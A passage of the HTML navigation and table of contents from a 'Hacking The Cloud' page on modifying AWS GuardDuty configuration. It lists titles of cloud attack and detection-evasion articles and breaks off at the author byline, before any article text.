2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4 checked> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=true> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Modify GuardDuty Configuration </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#misconfiguring-the-detector class=md-nav__link> <span class=md-ellipsis> Misconfiguring the Detector </span> </a> </li> <li class=md-nav__item> <a href=#modifying-trusted-ip-lists class=md-nav__link> <span class=md-ellipsis> Modifying Trusted IP Lists </span> </a> </li> <li class=md-nav__item> <a href=#modify-cloudwatch-events-rule class=md-nav__link> <span class=md-ellipsis> Modify Cloudwatch events rule </span> </a> </li> <li class=md-nav__item> <a href=#supression-rules class=md-nav__link> <span class=md-ellipsis> Supression Rules </span> </a> </li> <li class=md-nav__item> <a href=#delete-publishing-destination class=md-nav__link> <span class=md-ellipsis> Delete Publishing Destination </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#misconfiguring-the-detector class=md-nav__link> <span class=md-ellipsis> Misconfiguring the Detector </span> </a> </li> <li class=md-nav__item> <a href=#modifying-trusted-ip-lists class=md-nav__link> <span class=md-ellipsis> Modifying Trusted IP Lists </span> </a> </li> <li class=md-nav__item> <a href=#modify-cloudwatch-events-rule class=md-nav__link> <span class=md-ellipsis> Modify Cloudwatch events rule </span> </a> </li> <li class=md-nav__item> <a href=#supression-rules class=md-nav__link> <span class=md-ellipsis> Supression Rules </span> </a> </li> <li class=md-nav__item> <a href=#delete-publishing-destination class=md-nav__link> <span class=md-ellipsis> Delete Publishing Destination </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Ben Leembruggen</p> <a 